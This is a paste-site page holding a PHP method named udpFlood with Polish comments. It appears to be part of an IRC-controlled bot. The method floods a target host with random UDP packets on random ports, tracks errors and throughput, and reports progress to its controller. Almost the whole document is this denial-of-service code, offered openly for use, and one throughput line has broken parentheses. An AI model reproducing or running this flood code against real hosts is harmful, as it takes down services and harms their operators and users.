Welcome, guest! Login / Register - Why register?
Psst.. new poll here.
Psst.. new forums here.
Microsoft is blocking us again (TY IP Reputation!) so just use oauth login instead. :)

Paste

Pasted as PHP by jack ( 18 years ago )
Kod PHP:

// cel, rozmiar pakietu, ilość powtórzeń
	public function udpFlood($target, $size, $reply)
	{
		$packed = '';
		
		/*
		 send - rozmiar wysłanych pakietów
		 sended - ilość wysłanych pakietów
		 errc - error connect
		 errw - error write
		*/
		$send = $sended = $errc = $errw = 0;
		$start = time(); // czas przed atakiem
		
		$this -> attack = true; 
		$this -> operation = 'UdpFlood';
		
		$this -> send("x03x34UDP Flood Started !", true);
		
		// Generuje losową zawartość pakietu
		for($i = 0; $i < $size; $i++)
			$packed .= chr(mt_rand(2, 255));
		
		// Atak
		for($i = 0; $i < $reply; $i++)
		{
			// Je&Aring;›li nie odpowiada errc++
			if(!$s = fsockopen('udp://' . $target, mt_rand(0, 65355))) 
				{ $errc++; continue; }
			
			// Je&Aring;›li nie przyjmuje &Aring;&frac14;&Auml;…dania errw++
			if(!fwrite($s, $packed)) 
				{ $errw++; continue; }
			
			// w przeciwnym wypadku
			else { $send += $size; $sended++; }
			
			// Je&Aring;›li jest gniazdo, zniszcz
			if($s) fclose($s);
			
			// Sprawdz czy nie wydano polecenia przerwania ataku
			$this -> parse();
			if(!$this -> attack) break;
		}
		
		$this -> operation = '';
		$this -> attack = false;
		
		// Rozmiar wys&Aring;‚anych pakiet&Atilde;&sup3;w w kB
		$send = $send / 1024 / 1024;
		
		// Podzielony przez czas ataku - przepustowo&Aring;›&Auml;‡
		$time = round(($send / (time() - $start), 2) . 'kB/s';
		
		// Rozmiar w MB
		$send = round(($send / 1024), 2);
		
		// Stosowny komunikat ;]
		$this -> send("x03x324" . $send . ' MB was send in ' . $sended . 
		' packets (' . $time . ') -> ' . "x03x34Connect error: " . 
		$errc . ' | Send error: ' . $errw, true);
		return;
	}

 

Revise this Paste

Your Name: Code Language: